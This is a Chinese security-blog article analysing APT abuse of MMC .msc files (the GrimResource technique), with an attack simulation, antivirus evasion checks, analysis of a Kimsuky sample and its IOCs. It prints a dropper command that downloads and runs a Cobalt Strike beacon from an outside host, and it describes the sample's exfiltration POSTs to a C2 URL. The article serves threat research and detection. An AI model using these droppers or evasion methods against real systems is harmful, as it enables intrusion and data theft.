freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法
2024-06-25 17:31:16

概论

在目前全球关于APT攻击事件已经不在于少数,高级持续威胁(APT)已成为全球威胁实验室关注的焦点。APT组织以其高度隐蔽性和持续性攻击策略,对全球多个行业构成了严重威胁。近期,研究显示APT组织开始利用Microsoft Management Console(MMC)中的MSC文件作为初始访问和逃避检测的手段。本文旨在深入分析APT如何利用MSC文件进行攻击,并探讨其逃避检测的方法。

一、MSC文件-论点

1.MSC文件的利用机制

MSC文件,作为Windows系统中用于存储管理设置的文件,其本身具有执行脚本和命令的能力。APT组织通过精心构造的MSC文件,可以在用户不知情的情况下执行恶意代码。例如,攻击者可能在MSC文件中嵌入PowerShell脚本包括exe等恶意文件类型,当用户打开该文件时,即被激活后可能会通过C2地址释放文件文档,MSC文件内容代码也可能会有建立某些权限维持的恶意脚本,从而实现对系统的完全控制。

2.初始访问的实现

APT组织通常通过社会工程学手段诱导目标用户打开恶意MSC文件。这些文件可能伪装成系统更新或重要通知,通过电子邮件或即时消息传播。一旦用户执行了这些文件,攻击者便获得了对目标系统的初始访问权限。

3.逃避检测的技术

为了逃避安全检测,APT组织采用了多种技术。首先,他们利用加密和混淆技术隐藏恶意代码(宏样本)来规避 ActiveX,使得传统的防病毒软件难以识别。其次,通过定时任务或系统服务的方式,将恶意活动伪装成正常的系统行为。此外,APT还可能利用零日漏洞,进一步提高逃避检测的成功率。

二、Microsoft Management Console (MMC) 接触

Microsoft Management Console (MMC) 是 Microsoft Windows 操作系统的一个组件,它提供了一个界面,允许系统管理员和高级用户配置和监控系统。MMC 最初于 1998 年随 Windows NT 4.0 的 Option Pack 发布,后来与 Windows 2000 及其后续版本捆绑在一起。

MMC 的主要功能是通过称为“管理单元”的组件对象模型 (COM) 组件来托管系统管理工具。这些管理单元提供了对各种系统功能的访问,例如设备管理器、磁盘管理、事件查看器和本地用户和组。此外,MMC 还允许创建自定义工具,这些工具可以用于管理特定的系统任务。

有关MMC漏洞

在2019年6月11日CPR发布了一篇文章是关于:WebView导致XSS和XML解析错误而导致的XXE漏洞文章 【MICROSOFT 管理控制台 (MMC) 漏洞】洞主要集中在以下几个方面:

  1. 跨站脚本 (XSS) 漏洞:攻击者可以通过构造的 .msc 文件,在 MMC 中执行恶意 JavaScript 代码。场景利用:攻击者可以利用 MMC 中的 WebView 组件,将包含 XSS 攻击代码的网页链接嵌入到 .msc 文件中,当受害者打开该文件时,恶意代码就会被执行。

  2. XML 外部实体 (XXE) 漏洞:攻击者可以利用 MMC 中的 XML 解析器漏洞,通过包含 XXE 攻击代码的 XML 文件,访问受害者系统上的敏感信息。场景利用:攻击者可以构造一个包含 XXE 攻击代码的 XML 文件,并将其导入到 MMC 的事件查看器中,从而读取受害者系统上的文件内容,甚至执行远程代码。

  3. ActiveX 控件漏洞:攻击者可以利用 MMC 中的 ActiveX 控件漏洞,将恶意代码注入到受害者的系统中。场景利用:攻击者可以将包含恶意代码的 ActiveX 控件嵌入到 .msc 文件中,当受害者打开该文件时,恶意代码就会被执行。

三、攻击模拟

目前这种技术叫 GrimResource,而且相关的恶意文件还是0检出,根据当前的手段来实现一个攻击模拟!三天前有关生成负载已公开,MSC Dropper Tools,MSC Dropper 是一个 Python 脚本,旨在自动创建带有可自定义有效负载的 MSC(Microsoft 管理控制台)文件,以实现任意执行。

MSC文件配合Cobalt strike

1719299214_667a6c8ec701025474416.png!small?1719299216148

生成payload之后需要起一个服务和MSC Dropper 脚本配置进行生成一个带有马的msc文件!

1719299568_667a6df073be5cecc0772.png!small?1719299570062

┌──(kali㉿kali)-[~/Desktop/MSC_Dropper-main]
└─$ python3 msc_dropper.py template1.msc out.msc "cmd /c curl -O http://192.168.207.133:8000/beacon.exe && beacon.exe"
Successfully replaced placeholder in template1.msc and saved to out.msc.

1719299640_667a6e38bf319721cd875.png!small?1719299642227

运行后原本template1.msc 中的占位符会保存到 out.msc中,整个过程MSC文件成功落地!运行有效性!

1719299813_667a6ee5e418b91d14178.png!small?1719299820751

1719299823_667a6eef088f51132d48c.png!small?1719299825069

1719298647_667a6a57df0eb044356e6.png!small?1719298650012

1719298760_667a6ac8219f3ade1ee65.png!small?1719298762338

通过上面整个有效性的过程验证完毕后,我使用wireshark捕获了大概的一个流程!,在我运行后使用了请求法向我挂载CS马的地址发送一个请求,随后弹出一个命令窗口,CS随之上线。(这个验证时出现一些小问题,如果运行了MSC文件命令窗口有闪退情况CS可能不会上线,这个暂时不知道是什么原因)

1719301352_667a74e8e231d1d2725e1.png!small?1719301355377

而且可以通过加载其它恶意脚本或者读取文件方式进行利用!我们可以看章节二的文件内容。

这里还有一个技巧,我使用MMS管理器直接打开,EXE会直接落地........!

1719306358_667a887620a5dbf3f64a7.png!small?1719306359858

1719306381_667a888d2f810c2bb2995.png!small?1719306383230

1719306413_667a88adea2126829c9a4.png!small?1719306416013

自执行EXE

1719306435_667a88c3688928aa7641b.png!small?1719306437201

四、MSC文件本体内容(免杀)

生成的out.msc本体是借助py脚本中的template1.msc内容

1719303551_667a7d7f14718b54b9630.png!small?1719303555524

  • res://apds.dll/redirect.html?target=部分指定了要加载的资源。javascript:eval(external.Document.ScopeNamespace.GetRoot().Name)部分包含了恶意 JavaScript 代码,它使用 eval() 函数执行来自external.Document.ScopeNamespace.GetRoot().Name的代码。

  • 获取 MMC.exe 上下文中的external.Document.ScopeNamespace.GetRoot().Name属性的值,并执行该属性中包含的代码。 攻击者可以通过这种方式,在 MMC.exe 中执行任意代码,从而实现窃取信息、执行恶意代码等目的。

template1.msc载体加载部分通过py脚本将恶意文件托管地址进行载入

1719303884_667a7ecc9c8400be199fb.png!small?1719303886213

通过py脚本载入的恶意exe地址

1719303949_667a7f0d00268c6567091.png!small?1719303952946

  • xsl.loadXML(...)使用 loadXML()方法加载一个包含恶意 VBScript 代码的 XSL 样式表。

  • XML.transformNode(xsl)使用 transformNode()方法将 XML 文档根据 XSL 样式表进行转换。

  • XSL 样式表中的恶意 VBScript 代码被嵌入到转换后的 XML 文档中,并会被 MMC 执行。

  • 创建一个 WScript.Shell对象,用于执行系统命令。

  • 使用 curl命令从 192.168.207.133:8000 下载名为 beacon.exe的文件。

  • 执行下载的 beacon.exe文件。

混淆手法代码中使用了大量空格和换行符,尤其是 // Console Root 注释后面的代码段。
image.png

1.virustotal本体检测

b98286e81add97cfd59d6dcfc47a9dd1184475ab44301e95c1404a722565f456

1719308184_667a8f98d3dfe35967f5e.png!small?1719308186648

2.火绒本体检测

这个类似于本体加载EXE的模式流程!通常有些可能会检测本体、代码特征、通信地址等,也可能会报红!

1719301796_667a76a462eb6a2b32b35.png!small?1719301798172

因为我是直接在Cobalt strike生成的exe,直接点击运行out.msc文件释放exe,会杀掉我的exe,在本体安然无恙的情况下,可以起到很好的一个伪装,不一定就是要使用这种方式!

1719301895_667a7707b45243e8c556a.png!small?1719301897146

3.天擎本体检测

1719302482_667a79528d247f5384130.png!small?1719302484363

五、APT样本内容分析

目前有一个样本是没有公开的,这里暂时先不放出来,这里拿2010年APT样本来分析。2010年Kimsuky 组织使用该手段针对韩国和日本进行攻击,该组织伪装朝鲜人权公职人员,通过社交软件寻找目标,通过伪装特定重要文件来发送恶意的文件地址,2010年的样本几乎被各各实验室人员标记为风险文件。

1719306007_667a8717cbcf15f172ef2.png!small?1719306009378

不同的是MSC文件是可以通过修改XML内的文件来修改文件图标

1719306064_667a875001ab9b1644a89.png!small?1719306065699

1719306139_667a879b66eabba647ed0.png!small?1719306140844

这个APT样本是读取信息然后像C2地址回传读取的信息,

1719306680_667a89b86132c671d3df3.png!small?1719306684922

  1. 打开 Google 文档:

    • start explorer "https://docs.google.com/document/d/..."命令使用 explorer打开一个 Google 文档链接。

  2. 执行系统命令:

    • tasklist.exe > c:\users\public\temp命令将系统进程列表输出到 c:\users\public\temp文件中。

  3. 检查 curl.exe 的存在:

    • 使用 VBScript 代码检查 c:\windows\system32\curl.exe和 c:\Windows\sysnative\curl.exe文件是否存在。

    • 如果存在,则在结果中添加 "curl1 ok" 或 "curl2 ok"。

  4. 读取 temp 文件的内容:

    • 使用 VBScript 代码读取 c:\users\public\temp文件的内容,并将内容转换为小写字母。

    • 将读取的内容添加到结果中。

  5. 使用 curl 发送 POST 请求:

    • 使用 VBScript 代码创建一个 msxml2.xmlhttp对象,并使用它向两个 URL 发送 POST 请求:

      • http://brandwizer.co.in/green_pad/wp-content/plugins/custom-post-type-maker/kohei/r.php

      • https://brandwizer.co.in/green_pad/wp-content/plugins/custom-post-type-maker/kohei/r.php

    • POST 请求的数据包含了前面收集到的结果信息。

  6. 保存 VBScript 代码:

    • 将收集到的结果信息保存到 c:\users\public\res文件中。

    • 将 c:\users\public\res文件重命名为 c:\users\public\res.vbs

    • 使用 wscript /b c:\users\public\res.vbs命令在后台执行 res.vbs文件。

恶意行为分析:

  • 收集系统信息:该任务收集了系统进程列表,并检查了curl.exe的存在情况,这可能用于了解目标系统的配置和漏洞。

  • 发送数据:该任务向brandwizer.co.in的特定路径发送了收集到的系统信息,这可能用于窃取系统信息或进行其他恶意操作。

  • 执行 VBScript 代码:该任务使用 VBScript 代码,并执行了res.vbs文件,这可能包含其他恶意代码,例如下载恶意软件、窃取数据等。

其它方面与演示的没有什么不同,只是攻击方式载体不一样。

1719307219_667a8bd32cb9d9bbb2a59.png!small?1719307220892

六、结束语

本文分析了一段 MMC 控制台配置文件的代码,揭示了其包含的潜在恶意行为,包括信息收集、发送数据和执行未知代码等。通过对代码的逐行分析,我们了解到恶意软件开发者可能会利用 MMC 文件作为载体来传播恶意软件或窃取敏感信息。

MMC 文件的结构和功能看似简单,但其背后的复杂性和潜在风险不容忽视,对于安全检出问题安全厂商也带来挑战。

七、IOCS

MD5
e86a24d9f3a42bbb8edc0ca1f8b3715c

SHA1
607e42fe2cb9f4be309b5b53cdef2693a704f37f

SHA256
433655572c0f319e576a451d069a29966f9d6b409207a649f286ab34d1c8cfeb

# 渗透测试 # 网络安全 # 系统安全 # apt攻击 # 企业安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录